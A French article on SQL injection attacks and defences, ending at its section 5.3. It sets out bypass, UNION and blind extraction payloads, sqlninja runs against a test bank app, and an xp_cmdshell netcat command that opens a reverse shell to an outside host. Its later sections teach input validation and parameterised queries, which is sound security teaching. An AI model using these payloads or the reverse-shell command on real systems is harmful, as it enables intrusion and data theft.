SQL Injection

Christophe Grenier grenier@cgsecurity.org
Blandine Bourgois blandine.bourgois@gmail.com

Que se cache t'il derrière le terme de SQL injection ? Le langage SQL, Structured Query Language, est le langage standardisé d'interrogation des bases de données. Les techniques d'injection SQL consistent à introduire du code supplémentaire dans une requête SQL. Elles permettent à un utilisateur malveillant de récupérer des données de manière illégitime ou de prendre le contrôle du système. Alors que les problèmes de sécurité réseau ou système sont plutôt bien connus, que les règles de filtrage réseau sont plus strictes que par le passé, que l'application rapide des correctifs de sécurité pallie aux vulnérabilités systèmes, la sécurité des applicatifs est souvent négligée. Le contexte des injections SQL est très varié, il concerne toutes les applications utilisant une base SQL. On retrouve aussi bien les applications Web que les clients lourds. Identifier et exploiter une faille peut être assez simple si l'application retourne des messages d'erreurs spécifiques mais peut être complexe en l'absence de message. On parle alors d'exploitation en aveugle. Enfin, on retrouve des applications n'effectuant aucun contrôle ou très peu sur les données entrées tandis que d'autres les filtrent efficacement. C'est un aperçu de cette richesse que va tenter de vous donner cet article.

Cadre pour la PAO Un grand merci à Victor Vuilard pour son aide et ses nombreuses suggestions.

1. Principe

Commençons tout de suite par regarder comment fonctionne une requête SQL. Dans cet exemple, l'utilisateur fournit à l'application un compte et un mot de passe. Si ceux-ci correspondent, il est authentifié et peut utiliser l'application.

$sql="SELECT login FROM users WHERE login='".$login."' AND pass='".$pass."'";
$result = mysql_query ($sql) or die ("Invalid query".mysql_error());
if($row = mysql_fetch_array ($result))
{
  print "Identified as ".htmlspecialchars($row['login']);
  ...
}

Après saisie des informations, christophe et sesame, la requête SQL devient :

SELECT login FROM users WHERE login='christophe' AND pass='sesame'

Les données entrées par l'utilisateur influent directement sur la requête et donc sur le résultat de celle-ci. Si aucun enregistrement n'est trouvé, c'est que soit le nom d'utilisateur, soit le mot de passe est incorrect. Pour être identifié dans cette application, il faut que la requête retourne un ou plusieurs enregistrements. Les techniques de SQL injection consistent justement à manipuler les entrées de l'application de façon non prévue par les développeurs pour altérer le fonctionnement. En utilisant les paramètres bob' or '1'='1 et mdp' or '1'='1, on obtient la requête suivante :

SELECT login FROM users WHERE login='bob' or '1'='1' AND pass='mdp' or '1'='1'

'1'='1' étant toujours vrai, login='bob' or '1'='1' et pass='mdp' or '1'='1' le sont aussi donc la condition complète est toujours vérifiée. Remarque, l'opérateur AND est prioritaire par rapport à OR. La requête est équivalente à :

SELECT login FROM users

La requête renvoyant des enregistrements, l'utilisateur est considéré comme authentifié. Dans bien des cas, l'utilisateur sera identifié comme étant l'utilisateur défini par le premier enregistrement de la base, généralement il s'agit de l'administrateur de l'application !

2. Cas des applications en mode Web

Toutes les données transmises par le navigateur à une application Web, si elles sont utilisées dans une requête SQL, peuvent être manipulées dans le but d'injecter du code SQL: paramètres GET et POST, cookies et autres entêtes HTTP. Certaines de ces valeurs peuvent se retrouver dans des variables d'environnement. Les paramètres GET et POST sont traditionnellement saisis dans des formulaires HTML, ceux-ci peuvent comporter des champs cachés, c'est à dire des informations qui se trouvent au niveau du formulaire mais qui n'apparaissent pas. Les paramètres GET sont contenus dans l'URL et les paramètres POST sont transmis comme contenu HTTP. Avec le développement des technologies Web 2.0, les requêtes GET et POST peuvent aussi être générées par du JavaScript.

2.1. Et les cookies ?

Contrairement aux autres paramètres, les cookies ne sont pas censés être manipulés par les utilisateurs. En dehors des cookies de session qui sont (en principe) aléatoires, les cookies peuvent contenir des données en clair ou encodées en hexadécimal, en base64 ou uuencodées, des hashs (MD5, SHA1), des informations sérialisées. Si nous parvenons à déterminer le codage utilisé, nous pourrons tenter d'injecter des commandes SQL. Prenons l'exemple d'une faille de PHP-Nuke 6.5 (C'est ancien, c'est volontaire).

function is_user($user) {
  global $prefix, $db, $user_prefix;
  if(!is_array($user)) {
    $user = base64_decode($user);
    $user = explode(":", $user);
    $uid = "$user[0]";
    $pwd = "$user[2]";
  } else {
    $uid = "$user[0]";
    $pwd = "$user[2]";
  }
  if ($uid != "" AND $pwd != "") {
    $sql = "SELECT user_password FROM ".$user_prefix."_users WHERE user_id='$uid'";
    $result = $db->sql_query($sql);
    $row = $db->sql_fetchrow($result);
    $pass = $row[user_password];
    if($pass == $pwd && $pass != "") {
      return 1;
    }
  }
  return 0;
}

Le cookie comprend sous forme encodée en base64 l'identifiant, un champ que l'on ignore et le mot de passe. Si nous utilisons comme cookie 12345' UNION SELECT 'sesame'::sesame encodé en base64, la requête SQL devient

SELECT user_password FROM nk_users WHERE user_id='12345' UNION SELECT 'sesame'

Cette requête retourne le mot de passe sesame, mot de passe identique à celui que nous venons de fournir. Nous sommes donc connectés.

3. Techniques d'injection SQL

Les objectifs des injections SQL peuvent être multiples:

Par exemple, dans le cas d'une requête SELECT, l'objectif peut être de

Une injection SQL dans une requête UPDATE peut permettre de

Une requête DELETE peut être modifiée à des fins de dénis de service.

3.1. Exploitation des messages d'erreurs

L'exploitation d'une faille par injection SQL peut être facilitée par la présence de message d'erreur dans l'application. Cherchons à rendre la requête SQL invalide dans le cas d'un site Web demandant une authentification.

$sql="SELECT login FROM users WHERE login='".$login."' AND pass='".$pass."'";
$result = mysql_query ($sql) or die ("Invalid query".mysql_error());
if($row = mysql_fetch_array ($result))
{
  print "Identified as ".htmlspecialchars($row['login']);
  ...
}

Suite à la saisie d'une simple quote dans ce formulaire, la requête devient invalide et provoque l'affichage d'un message d'erreur:

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '''' AND pass=''' at line 1

Ce script est donc vulnérable et nous apprenons que le serveur SQL est MySQL. Mais dans l'hypothèse où le paramètre se retrouve entre double-quote, il faut aussi tester l'utilisation de double-quote. Cependant le serveur où le script s'exécute peut être configuré pour ne pas afficher de message d'erreur (Mettre display_errors = Off dans php.ini par exemple) ou bien utiliser des try/catch (C#, Java, PHP5 ...) pour gérer les exceptions, les anomalies de fonctionnement et donner l'impression d'un fonctionnement normal de l'application.

3.2. SELECT: Utilisation d'une UNION

Prenons le cas d'un script vulnérable de recherche d'article à partir d'un mot dans le titre, ce script affiche la liste des articles trouvés et des liens vers ceux-ci. Notre objectif est d'utiliser cette requête pour afficher le contenu d'autres tables.

$sql="SELECT * FROM article WHERE title LIKE '%" . $title . "%'";

Problème, la structure de la table article nous est inconnue, nous ne connaissons pas ses différents champs; or pour réussir à afficher des informations d'autres tables, plusieurs challenges se posent à nous:

Trier par numéro de colonne permet de tester si cette colonne existe. Si la requête retourne 5 colonnes ou plus, la requête suivante va fonctionner :

SELECT * FROM article WHERE title LIKE '%sql-injection%' ORDER BY 5#'

Remarque, MySQL considère que ce qui suit un # est un commentaire et ignore les caractères suivants, cela permet de ne pas être gêné par le guillemet simple (quote) venant de la requête d'origine. Une fois identifié le nombre de colonnes, réalisons une première union

SELECT * FROM article WHERE title LIKE '%sql-injection%' UNION SELECT 1,2,3,4,5#'

Au besoin, si la colonne est de type caractère (CHAR), certaines bases de données (ici MySQL) vont convertir automatiquement un entier en son équivalent alphanumérique. Sous Oracle, il faut faire un SELECT ... FROM dual pour que la requête soit considérée comme valide. On peut aussi tester avec des valeurs SELECT NULL,NULL,NULL,NULL,NULL. Une fois trouvée une combinaison adéquate et une colonne alphanumérique identifiée, on peut interroger les tables systèmes à la recherche des noms des tables et de ceux des colonnes. Pour une base PostgreSQL, la colonne tablename de la table pg_tables va permettre de récupérer le nom des tables, pour MSSQL, select name from SysObjects, pour MySQL, select table_name from information_schema.tables

... Si nécessaire, utiliser l'instruction convert pour modifier la table de caractère.

SELECT * FROM article WHERE title LIKE '%sql-injection%' UNION SELECT 1,convert(concat(TABLE_SCHEMA,char(32),table_name,char(32),COLUMN_NAME,char(32),COLUMN_COMMENT) using latin1),3,4,5 FROM information_schema.columns

3.3. Utilisation de commandes SQL spécifiques

Le comportement de certaines commandes permet d'identifier le type de serveur SQL. Par exemple, la condition ''='' est évaluée à faux sous Oracle mais à vrai sous tous les autres serveurs SQL que j'ai testés. De manière similaire, 'adm'||'in' est une concaténation fonctionnant sous Oracle et PostgreSQL. Sous MSSQL, cela ne fonctionne pas, il faut utiliser 'adm'+'in'. MySQL quant à lui demande d'utiliser la commande concact.

3.4. Récupération de la structure de la base

Si l'on peut interroger le serveur, on peut aussi lui demander sa version

mais aussi récupérer le nom de l'utilisateur SQL ainsi que la base utilisée

Une fois le type de SGBD identifié, on peut récupérer le nom des bases, des tables et des colonnes. Par exemple sous MySQL, SELECT concat(TABLE_SCHEMA,char(32),table_name,char(32),COLUMN_NAME,char(32),COLUMN_COMMENT) FROM information_schema.columns. La table information_schema est décrite dans la norme ANSI SQL 92, elle a été précisée dans les normes suivantes y compris ANSI SQL 2003 [SQL2003] et 2006, cependant tout les moteurs de bases de données n'ont pas la même implémentation. Si l'on considère Mysql, il a fallu attendre la version 5.0.2 pour que cette table soit ajoutée.

3.5. Contournement de filtrages trop simples

Pour se protéger des injections SQL, les programmeurs doivent neutraliser les caractères sensibles. Il n'est pas rare de trouver des solutions inefficaces comme des échappements des quotes (' devient \').

$login='';
$pass='';
if(isset($POST_['login']))
{
  $login=preg_replace("/(')/", "\$1", $POST_['login']);
}
if(isset($POST_['pass']))
{
  $pass=preg_replace("/(')/", "\$1", $POST_['pass']);
}
$sql="SELECT login FROM users WHERE login='".$login."' AND pass='".$pass."'";
$result = mysql_query ($sql) or die ("Invalid query".mysql_error());

Ce code bâclé ne gère pas l'échappement du caractère \; ainsi, en précédent le guillemet simple (quote) par un \, on peut neutraliser l'échappement. Nous avons vu diverses techniques pour modifier la requête SQL mais il est possible d'être plus radical avec certaines bases de données en tronquant la requête ! Certaines bases de données autorisent les commentaires, exploitons cette possibilité de façon à ce que la fin de la requête soit ignorée. En utilisant comme login a\ et or 1=1# comme mot de passe, la requête devient :

SELECT login FROM users1 WHERE login='a\' AND pass=' or 1=1#'

MySQL considère que ce qui suit un # est un commentaire et l'ignore, pour Oracle et MSSQL, il faut utiliser un double-tiret --. La requête est valide grâce à l'utilisation de cette mise en commentaire, 1=1 étant vrai, nous avons réussi une attaque par SQL injection sans avoir à utiliser d'apostrophe ou de double-apostrophe.

Dans la rubrique astuce, si le caractère espace est filtré, il est possible de le remplacer par une tabulation ou une séquence /**/. Pour un autre caractère, il est possible de réaliser une concaténation et de remplacer le caractère par sa valeur numérique dans un char() (MSSQL, Mysql) ou chr() (Oracle, PostgreSQL).

3.6. Injection SQL en aveugle

Une erreur ne provoquant pas toujours de réaction identifiable, cherchons par une modification des paramètres à mettre en évidence une interprétation SQL. Prenons le cas d'un script affichant le texte dont le numéro d'article est passé en paramètre GET: article.php?id=7591, essayons article.php?id=7592-1, si le même article est affiché, la soustraction a été effectuée, le script est donc vulnérable à une injection de code SQL. Pour un champ alphanumérique, testons une concaténation de chaîne; selon la norme SQL92, il faut utiliser ||. Dans le cas du script info.asp affichant le profil de l'utilisateur dont le login est fourni info.asp?login=admin, testons info.asp?login=adm'||'in Cet exemple fonctionne sous Oracle et PostgreSQL. Pour MSSQL, le test devient info.asp?login=adm'+'in. Sous MySQL, la concaténation est possible avec la commande concat, inutilisable dans notre cas. Finalement, il peut être plus efficace de tester avec info.asp?login=admin' AND 'b'='b (info.asp?login=admin%27%20AND%20%27b%27%3D%27b pour l'url correcte) si on récupère toujours le profil de l'administrateur.

Lorsque les méthodes classiques d'union ou de requêtes successives ne fonctionnent pas, tout n'est pas perdu: on peut utiliser les injections SQL en aveugle. Le principe est de former une suite de requêtes SQL dont la sortie est binaire et d'interpréter la page résultante pour savoir si le critère utilisé est vrai ou non. La première étape de cette méthode est de trouver une réponse positive à la requête. Dans notre exemple, nous savons que le traitement de la requête info.asp?login=admin renvoie une réponse positive. Si nous injectons une condition vraie après une valeur de paramètre qui fonctionne, nous arriverons sur la page info de l'administrateur. Si la condition injectée est fausse, la requête échoue. L'ajout de condition permet de récupérer des informations.

Prenons par exemple la requête SELECT user() sous MySQL, celle-ci retourne une chaîne de caractère, la première étape est de déterminer le nombre de caractères composant la réponse: length((SELECT user())). Une possibilité est d'utiliser une suite de requêtes du style

info.asp?login=admin' AND length((SELECT user()))>1 AND 'b'='b
info.asp?login=admin' AND length((SELECT user()))>2 AND 'b'='b
info.asp?login=admin' AND length((SELECT user()))>3 AND 'b'='b
...
info.asp?login=admin' AND length((SELECT user()))>10 AND 'b'='b

Lorsque la requête n'affiche plus la page initiale, ici le profil de l'utilisateur admin, on a déterminé la longueur du champ user(). Le nombre de requêtes peut être optimisé en récupérant cette taille bit à bit:

(length((SELECT user()))>>(0)&1)
(length((SELECT user()))>>(1)&1)
(length((SELECT user()))>>(2)&1)
...

Il ne reste plus qu'à appliquer ce principe pour trouver chaque bit du premier caractère du nom de l'utilisateur:

(ascii(substring((SELECT user()),1,1))>>(0)&1)
(ascii(substring((SELECT user()),1,1))>>(1)&1)
...
(ascii(substring((SELECT user()),1,1))>>(7)&1)

et ainsi de suite pour chaque caractère. Vous l'aurez compris, l'utilisation d'outils permettant d'automatiser ces requêtes parrait indispensable en regard du nombre de requêtes nécessaires.

4.Outils

4.1. Manipulation des entrées utilisateurs

Une des premières étapes dans l'injection SQL est d'énumérer les points d'entrées possibles. Pour cela, une solution très simple est d'utiliser un simple navigateur Web. Ce dernier permet d'éditer les sources des pages Web envoyées par le serveur et d'y repérer les champs de formulaires. Les requêtes GET peuvent directement être modifiées dans la barre d'URL et les cookies également accessibles dans les menus de configuration. Firefox propose de nombreuses extensions qui facilitent ce travail. Par exemple, Web Developer [FIRE-WD] et Tamper Data [FIRE-TD] permettent de manipuler de nombreux paramètres de requêtes (GET, POST, valeurs d'entêtes, outre-passement de vérification côté client de valeurs de champs, etc). Il existe d'autres extensions, plus spécifiques, tel que Add N Edit Cookies [FIRE-COOK] pour modifier la valeur des cookies ou User Agent Switcher [FIRE-UAS] pour changer la valeur de l'agent utilisateur qui apparaît dans les requêtes HTTP.

Une autre possibilité est d'utiliser un relais dédié à l'interception et à la réécriture des requêtes HTTP. Il en exite de nombreux, dont Subweb [HSC], WebScarab [SCARAB], Paros [PAROS] ou encore Burp Suite [BURP]. Par rapport à l'utilisation d'un simple navigateur, ces outils ont l'avantage d'avoir été conçus pour les audits de sécurité. L'interception et l'édition des requêtes y est plus simple. Ils disposent de fonctions de découverte de l'arborescence du site, de fuzzer ou de brute-force.

Fig. 1 : Interception de requête avec Paros Proxy

Fig. 1 : Interception de requête avec Paros Proxy

4.2. Outils d'aide ou d'automatisation d'injection SQL

Comme nous l'avons vu précédemment, les essais d'injection SQL peuvent être relativement fastidieux, en particulier dans le cas des injections en aveugle. De nombreux outils [TOP15] permettent d'automatiser une partie du processus d'injection SQL. Par exemple, SQL Power Injector [SPINJ] automatise les tests d'injection et évalue leur succès soit en comparant les pages résultantes, soit en se basant sur une étude du temps de réponse.

D'autres outils, tels que SQL Ninja [NINJA] ou Squeeza [SQUEEZA] visent à tirer parti plus facilement d'une injection SQL. A partir d'un point d'entrée que l'auditeur a déterminé (par exemple avec un relais comme présenté ci-dessus), ces outils offrent la possibilité, entre autres, de 

L'exemple qui suit montre l'exploitation d'injection SQL sur l'application de test Hacme Bank [HACME] avec SQL Ninja. La première étape est de le configurer afin de lui donner le point d'injection SQL et les paramètres de la requête. Un fichier de configuration permet de spécifier le nom d'hôte, le port et la méthode HTTP, l'URL à laquelle soumettre la requête. Les deux paramètres stringstart et stringend contiennent les paramètres et les valeurs fournies dans la requête. L'injection est ajoutée entre les deux. Ici, elle l'est après le paramètre txtUserName. La variable blindtime précise le nombre de secondes à attendre lorsqu'est utilisée la mesure de temps dans le cas des injections en aveugle.

# sqlninja configuration file
host = 127.0.0.1
port = 80
ssl = no
method = POST
page = /HacmeBank_v2_Website/aspx/Login.aspx?function=Welcome

stringstart = __VIEWSTATE=dDwtMTQyOTYyODY5Mjs7PnTi+jNSVHTccmSdM61b7IOuzebL&txtUserName=';
stringend = &=txtPassword=&btnSubmit=Submit

blindtime = 20

sqlninja.conf

Une fois le point d'injection configuré, il suffit de le tester :

$ ./sqlninja -m test
Sqlninja rel. 0.1.2
Copyright (C) 2006-2007 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................
[+] Target is: 127.0.0.1
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !! :)

Test de la possibilité d'injection

Comme le montre la requête ci-dessous, SQL Ninja injecte un waitfor delay. Si l'injection réussit, alors la réponse ne parvient pas avant le nombre de secondes configuré.

select user_id from  fsb_users where login_id = '';waitfor delay '0:0:20';--' and password = 'a'

Requête exécutée sur le SGBD lors du test de la possibilité d'injection

Un module intéressant est celui de prise d'empreinte, qui permet de déterminer la version du SGBD, l'utilisateur utilisé pour la connexion entre le SGBD et l'application ou encore la possibilité d'exécuter des commandes système avec xp_cmdshell.

$ ./sqlninja -m fingerprint
What do you want to discover ?
  0 - Database version (2000/2005)
  1 - Database user
  2 - Database user rights
  3 - Whether xp_cmdshell is working
  a - All of the above
  h - Print this menu
  q - exit
> 0
[+] Checking SQL Server version...
  Target: Microsoft SQL Server 2005
> 1
[+] Checking whether we are sysadmin...
  We seem to be 'sa' :)
> 3
[+] Check whether xp_cmdshell is available
  xp_cmdshell seems to be available :)

Reconnaissance

Là encore, SQL Ninja se base sur des techniques d'injection SQL en aveugle et introduit des mesures de temps. Par exemple, la commande @@version retourne la version de MS SQL. Le 25e caractère de la chaîne retournée est un "0" dans le cas de SQL Server 2000 et un "5 dans celui de SQL Server 2005. Dans le code SQL injecté, la requête introduit un délais de 20 secondes dans le cas où le caractère concerné est un "5", ce qui permet d'en déduire la version utilisée.

select * from  fsb_users where login_id = '';if substring((select @@version),25,1) <> 5 waitfor delay '0:0:20';--'
select user_id from  fsb_users where login_id = '';if (select system_user) <> 'sa' waitfor delay '0:0:20'--'
select user_id from  fsb_users where login_id = '';exec master..xp_cmdshell 'ping -n 8 127.0.0.1';--'

Requête exécutée sur le SGBD lors de la phase de reconnaissance

Comme dans le cas des payloads de Metasploit, SQL Ninja offre différents moyens de connexion qui permettent d'obtenir un shell sur le système qui héberge le SGBD ou d'y exécuter des commandes. L'exemple ci-dessous montre comment mettre en écoute un port sur l'ordinateur de l'auditeur et donner l'ordre au système ciblé de s'y connecter en offrant un accès à un shell système.

$ ./sqlninja -m revshell
Sqlninja rel. 0.1.2
Copyright (C) 2006-2007 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................
[+] Target is: 127.0.0.1
Local port: 1337
tcp/udp [default: tcp]:
[+] waiting for shell on port 1337/tcp...
Microsoft Windows [version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
autorite nt\system

C:\WINDOWS\system32>

Connexion en shell inverse

Comme le montre la requête correspondante ci-dessous, la commande lancée dans l'injection se base sur Netcat. Cet exécutable peut être déposé par SQL Ninja via la fonction de copie de fichiers.

select user_id from  fsb_users where login_id = 'jm';exec master..xp_cmdshell 'cmd /C %TEMP%\nc -e cmd.exe 172.16.27.1 1337';--' and password = 'a'

Requête exécutée sur le SGBD lors du lancement du shell

5. Protections

Les injections SQL sont une menace sérieuse car elles permettent aux pirates de voler, modifier ou détruire des données. Afin de prévenir ces attaques, il faut avoir une approche multi-niveaux.

5.1. Filtrer les données en entrée

Une méthode simple pour limiter les injections SQL est de filtrer les entrées. Il faut partir du principe que toutes les entrées sont potentiellement dangereuses et qu'il faut à chaque fois les valider avant de s'en servir dans une requête SQL. Ce filtrage peut se faire à la fois dans l'application et le code SQL. Par ailleurs, le besoin de filtrage n'est pas exclusivement lié aux problèmes d'injections SQL et il est nécessaire d'inclure les validations des entrées dans une démarche globale, qui corrige également les vulnérabilités de type Cross Site Scripting [XSS].

5.1.1. Différentes approches

Il existe deux types de validation pour détecter les entrées dangereuses : la liste blanche ou la liste noire. Le principe de la liste noire est d'interdire certains caractères à risque (exemple : -, ', ; , etc.). Malheureusement, il est possible d'oublier de filtrer un caractère dangereux et de plus, un caractère peut avoir plusieurs représentations. C'est pourquoi il est préférable d'utiliser une liste blanche. L'utilisation d'une liste blanche consiste à n'autoriser qu'un nombre restreint explicite de caractères (exemple : uniquement les chiffres et les lettres... comme à la télé). Le principe de la liste blanche est donc plus efficace au prix d'une configuration plus minutieuse. En effet, des groupes de caractères relatifs à chaque type de champs utilisé dans les formulaires présents dans l'application doivent être créés.

Il n'est pas toujours possible de bloquer les caractères nuisibles. On peut par exemple avoir besoin de l'apostrophe dans le nom d'une personne. Dans ce cas, il faut penser à les échapper.

5.1.2. Comment mettre en place le filtrage ?

5.1.2.1. Les expressions rationnelles

Les expressions rationnelles permettent de filtrer les caractères mais aussi de limiter la longueur de l'entrée. En effet certaines attaques demandent de longues chaines de caractères. Voici quelques exemples d'expressions rationnelles :

Expression rationnelle

Description

^[-a-zA-Z0-9.]+$

Expression alphanumérique avec point et tiret

^\d{4}$

Année sur 4 chiffres

^\d{2}:\d{2}$

Heure avec : comme séparateur

^[0-9]+$

Nombre entier

[\d_a-zA-Z]{4,12}

Expression alphanumérique (majuscules et/ou minuscules) qui contient entre 4 et 12 caractères

Voici un exemple de contrôle de validation en ASP.NET. Le champ revUser est vérifié lors de la validation de la page.

<asp:RegularExpressionValidator id="revUser" 
		runat="server" ErrorMessage="* User name contains illegal characters" 
		Display="Dynamic" ValidationExpression="[\d_a-zA-Z]{4,12}" 
		ControlToValidate="txtUser">
</asp:RegularExpressionValidator>

Validator ASP.Net

5.1.2.2. Les fonctions de validation

Il existe dans certains langages des fonctions qui permettent de protéger les caractères spéciaux d'une commande SQL. Par exemple en PHP, la fonction string mysql_real_escape_string ( string unescaped_string [, resource link_identifier] ) appelle la fonction mysql_escape_string() de la bibliothèque MySQL qui ajoute un antislash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.

$login='';
$pass='';
if(isset($POST_['login']))
{
  if(get_magic_quotes_gpc()) {
    if(ini_get('magic_quotes_sybase')) {
      $login = str_replace("''", "'", $_POST['login']);
    } else {
      $login = stripslashes($_POST['login']);
    }
  } else {
    $login = $_POST['login'];
  }
}
if(isset($POST_['pass']))
{
  if(get_magic_quotes_gpc()) {
    if(ini_get('magic_quotes_sybase')) {
      $pass = str_replace("''", "'", $_POST['pass']);
    } else {
      $pass = stripslashes($_POST['pass']);
    }
  } else {
    $pass = $_POST['pass'];
  }
}
$sql=sprintf("SELECT login FROM users WHERE login='%s' AND pass='%s'",
    mysql_real_escape_string($login, $link),
    mysql_real_escape_string($pass, $link));
$result = mysql_query ($sql,$link) or die ("Invalid query".mysql_error($link));

Utilisation de mysql_real_escape_string

Il est aussi possible dans PHP d'activer les guillemets magiques (magic quotes) [PHP-MQ]. Lorsque cette directive est active, les guillemets simples ou doubles, les antislashes et les caractères NULL sont automatiquement protégés par un antislash. Les trois directives guillemet magique sont :

En PHP 5.1, il est recommandé d'utiliser l'extension PHP Data Objects (PDO) [PHP-PDO]. Elle définit une interface pour accèder aux bases de données depuis PHP. Elle prépare les requêtes et gère l'ajout de guillemets autour des paramètres.

<?php
 $stmt = $dbh->prepare("INSERT INTO REGISTRY (nom, valeur) VALUES (:nom,:valeur)");
 $stmt->bindParam(':nom', $nom);
 $stmt->bindParam(':valeur', $valeur);
   
 // insertion d'une ligne
 $nom = 'one';
 $valeur = 1;
 $stmt->execute();
?>

Exemple de requête préparée avec PDO

5.1.2.3. Les fonctions de remplacement Transact-SQL

On peut échapper aux caractères dangereux directement dans SQL à l'aide des fonctions REPLACE et QUOTENAME.

QUOTENAME retourne une chaîne Unicode et ajoute des séparateurs afin que la chaîne d'entrée soit délimitée. La syntaxe de cette fonction est la suivante QUOTENAME ( 'character_string' [ , 'quote_character' ] ). L'argument character_string est de type sysname (nvarchar(258)). De ce fait, cette fonction ne peut pas être utilisée pour préparer des chaînes de plus de 258 caractères.

REPLACE remplace toutes les occurrences d'une chaîne spécifiée par une chaîne de remplacement.

REPLACE ( 'string1' , 'string2' , 'string3' )

La fonction REPLACE utilise trois chaînes : string1 est la chaîne dans laquelle il faut effectuer la recherche, string2 est la chaîne à rechercher dans string1 et string3 est la chaîne de remplacement. La fonction replace traite les chaînes de plus de 258 caractères, par contre, contrairement à fonction QUOTENAME, il faut rajouter les délimiteurs de début et de fin de chaîne (cf. exemple procédure sp_setPassword).

5.1.2.4. Les modules de validation

Le travail de validation des valeurs est souvent long et répétitif. Il existe donc des librairies pour nous aider comme Apache Jakarta Common Validator. Cette librairie contient une série de méthodes permettant de valider des champs de différents types. Cette librairie contient des fonctions prédéfinies mais aussi la possibilité de rajouter ses propres validateurs.

5.1.3. Recherche de vulnérabilités

Vous savez maintenant valider les entrées des utilisateurs. Pour tester votre application essayez des entrées contenants les délimiteurs de votre SGBD.

Caractères

Signification

;

Délimiteur de requête

--

Commentaire sur une ligne

/* .... */

Commentaire sur plusieurs lignes

xp_ et sp_

Début des procèdures stockées système en MS SQL 2000

' et "

Délimiteur des chaînes de caratères

|| et &&

Opérateurs

`

Délimiteur de nom de champ [SECU2006]

Quelques exemples de caractères à tester

5.2. Requêtes paramétrées et procédures SQL

5.2.1. Utiliser des requêtes paramétrées

L'utilisation de variables SQL paramétrées permet de valider le type de l'entrée et sa longueur. De plus, l'entrée sera traitée comme une expression littérale et non comme du code exécutable. Voici deux exemples en ASP.Net. Le premier correspond à une concaténation de caractères et est donc vulnérable aux injections SQL. Le second donne une version corrigée avec l'utilisation de variables paramétrées.

private void cmdLogin_Click(object sender, System.EventArgs e) {
    string strCnx = 
     "server=localhost;database=northwind;uid=sa;pwd=;";
     SqlConnection cnx = new SqlConnection(strCnx);

    cnx.Open();

    //This code is susceptible to SQL injection attacks.
    string strQry = "SELECT Count(*) FROM Users WHERE UserName='" +
     txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
    int intRecs;

    SqlCommand cmd = new SqlCommand(strQry, cnx);
    intRecs = (int) cmd.ExecuteScalar();

    if (intRecs>0) {
        FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
    }
    else {
        lblMsg.Text = "Login attempt failed.";
    }

    cnx.Close();
}

Le mauvais exemple

private void cmdLogin_Click(object sender, System.EventArgs e) {
    string strCnx = ConfigurationSettings.AppSettings["cnxNWindBad"];
    using (SqlConnection cnx = new SqlConnection(strCnx))
    {
        SqlParameter prm;

        cnx.Open();

        string strQry = 
            "SELECT Count(*) FROM Users WHERE UserName=@username " +
            "AND Password=@password";
        int intRecs;

        SqlCommand cmd = new SqlCommand(strQry, cnx);
        cmd.CommandType= CommandType.Text;

        prm = new SqlParameter("@username",SqlDbType.VarChar,50);
        prm.Direction=ParameterDirection.Input;
        prm.Value = txtUser.Text;
        cmd.Parameters.Add(prm);

        prm = new SqlParameter("@password",SqlDbType.VarChar,50);
        prm.Direction=ParameterDirection.Input;
        prm.Value = txtPassword.Text;
        cmd.Parameters.Add(prm);            

        intRecs = (int) cmd.ExecuteScalar();

        if (intRecs>0) {
            FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false);
        }
        else {
            lblMsg.Text = "Login attempt failed.";
        }
    }
}

Le bon exemple, avec utilisation de requête paramétrée

5.2.2. Les instructions dynamiques

5.2.2.1. Le manque de protection contre l'injection

Comme nous l'avons vu précédement dans l'article, il est facile de faire une injection SQL dans une instruction SQL dynamique. En effet, la commande est construite en concaténant du code SQL avec les valeurs saisies par l'utilsateur. Un utilisateur malveillant peut donc modifier la structure de la clause WHERE pour détourner la requête de sa fonction initiale. De plus, certains systèmes de gestion de base de données permettent d'exécuter un lot de commandes SQL. Un pirate peut alors insérer des commandes supplémentaires au milieu de la requête initiale.

5.2.2.2. Le problème des troncatures

<BS>CREATE PROCEDURE sp_setPassword
    @username varchar(25),
    @old varchar(25),
    @new varchar(25)
AS

-- Declare variables.
DECLARE @command varchar(100)

-- Construct the dynamic SQL
SET @command= 
    'update Users set password=''' + REPLACE(@new, '''', '''''') + '''' + 
    ' where username=''' + REPLACE(@username, '''', '''''') + '''' + 
    ' AND password = ''' + REPLACE(@old, '''', '''''') + ''''

-- Execute the command.
EXEC (@command)
GO

Procèdure sp_setPassword avec utilisation de la commande REPLACE

Dans cette procédure stockée, un utilisateur malveillant peut tenter de réaliser une modification par troncature. Si l'on parvient à tronquer l'instruction après username='PassWord', nous n'avons pas besoin de connaitre l'ancien mot de passe. Il est donc possible de modifier le mot de passe d'un utilisateur connu. La commande est limitée à 100 caractères. Mais en utilisant la fonction REPLACE, le nombre de caractère des paramètres peut passer de 25 à 50 si l'utilisateur n'entre que des apostrophes.

Avec les paramètres suivants :

@username = 'administrator'
@new='''''''''''''''''''''''''''''''''''''abcde'  -- le champ contient 23 caratères
@old = 'je ne sais pas'

On se retrouve à exécuter l'instruction suivante :

update Users set password='administrator'  where username='''''''''''''''''''''''''''''''''''''abcde'

La fin de l'instruction avec la vérification de l'ancien mot de passe est tronquée. Dans certains systèmes, cette troncature ne remonte pas d'erreur (par exemple, MS SQL Server 2000) [MSDN-TRONC].

5.2.2.3. Éviter les procédures dynamiques

La procédure précédente peut être écrite en évitant le SQL dynamique :

CREATE PROCEDURE sp_setPassword
    @username varchar(25),
    @old varchar(25),
    @new varchar(25)
AS

    update Users set password=@new 
    where username=@username 
    AND password =@old
GO

Dans ce cas l'injection SQL est beaucoup plus difficile. Avec les paramètres utilisés précédemment, la procèdure ne retourne pas d'erreur et le mot de passe n'est pas mis à jour.

5.3. Le relais inverse filtrant

